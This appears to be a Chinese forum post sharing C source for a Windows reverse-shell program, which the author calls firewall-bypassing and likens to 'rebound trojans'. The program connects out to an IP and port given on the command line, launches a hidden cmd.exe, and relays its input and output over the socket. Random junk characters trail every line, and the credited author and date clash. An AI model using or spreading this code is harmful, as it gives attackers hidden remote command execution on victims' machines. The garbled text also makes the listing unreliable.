这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #vhN$H :&q
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/* ============================== aL`wz !
Rebound port in Windows NT ,p OGT71
By wind,2006/7 "wuO[c&%/
===============================*/ ~%C F3?e6
#include +iFt)
#include ~;a\S3
#r]Z2Y]
#pragma comment(lib,"wsock32.lib") ."=%]l0
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void OutputShell(); EFljUT?&
SOCKET sClient; gua7<z6=eh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {wsJ1v8!
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void main(int argc,char **argv) 3l45(%g+
{ ]wdE
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WSADATA stWsaData; ,ofE*Wt
int nRet; DyCzRkH
SOCKADDR_IN stSaiClient,stSaiServer; U1X"UN)
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if(argc != 3) 'QxJU$
{ ~/9RSdv7
printf("Useage:\n\rRebound DestIP DestPort\n"); kHylg{i{"
return; R-9o3TPa
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); +:-xV
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p\&/m
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stSaiClient.sin_family = AF_INET; ?z#*eoPr
stSaiClient.sin_port = htons(0); E
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q%e'WM G~n
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2m:K
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{ 2#R$-*;#
printf("Bind Socket Failed!\n"); _!qD/[/
return; >Ti%Th,
} 4n6AK`E
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stSaiServer.sin_family = AF_INET; ~Jr'4%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #jg-q|nd
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \f?
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XV]xym~
{ LdG? kbJ&y
printf("Connect Error!"); }bca-|N
return; 2SC-c `9)
} p03I&d@w>
OutputShell(); LX7P?j
} te-xhJ&K
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void OutputShell() M' z.d
{ e[u}Vf
char szBuff[1024]; @ewaj!
SECURITY_ATTRIBUTES stSecurityAttributes; *cXq=/s
OSVERSIONINFO stOsversionInfo; 5H
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5["3[h
STARTUPINFO stStartupInfo; f;BY%$
char *szShell; 4h|*r !
PROCESS_INFORMATION stProcessInformation; "/e)v{
unsigned long lBytesRead; wB0vpt5f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hq::F?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3{?X>6T
stSecurityAttributes.lpSecurityDescriptor = 0; Yft [)id
stSecurityAttributes.bInheritHandle = TRUE; ,H+Y1N4W(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7yyX8p>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,Kj>F2{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); __9FQ{Ra
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OgIRI8L
stStartupInfo.wShowWindow = SW_HIDE; K0j%\]\Tp
stStartupInfo.hStdInput = hReadPipe; W.[!Q`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u*2?Gky
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GetVersionEx(&stOsversionInfo); !38KHq^|&
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switch(stOsversionInfo.dwPlatformId) G3^<l0?S
{ lH=|Qu
case 1: f4P({V
szShell = "command.com"; O$6&4p*F.
break; RR[zvH} E
default: N!~]D[D
szShell = "cmd.exe"; /.7RWy`
break; =9ff983
} tE=09J%z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e&ysj:W5
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send(sClient,szMsg,77,0); _*e_?]G-
while(1) vc"!3x-G*
{ 0ex.~S_Oj4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gC2}?nq*
if(lBytesRead) 8Y`g$2SZ^8
{ M;<!C%K>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _:Xmq&<W
send(sClient,szBuff,lBytesRead,0); M]6+s`?r
} B;N<{Gb
else Z}!'fX."
{
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lBytesRead=recv(sClient,szBuff,1024,0); W{'hn&vU
if(lBytesRead<=0) break; *]U`]!Esp
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /5Qh*.(S
} WcqR; Nm
} +^(_S9CO
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return; rZdOU?U
}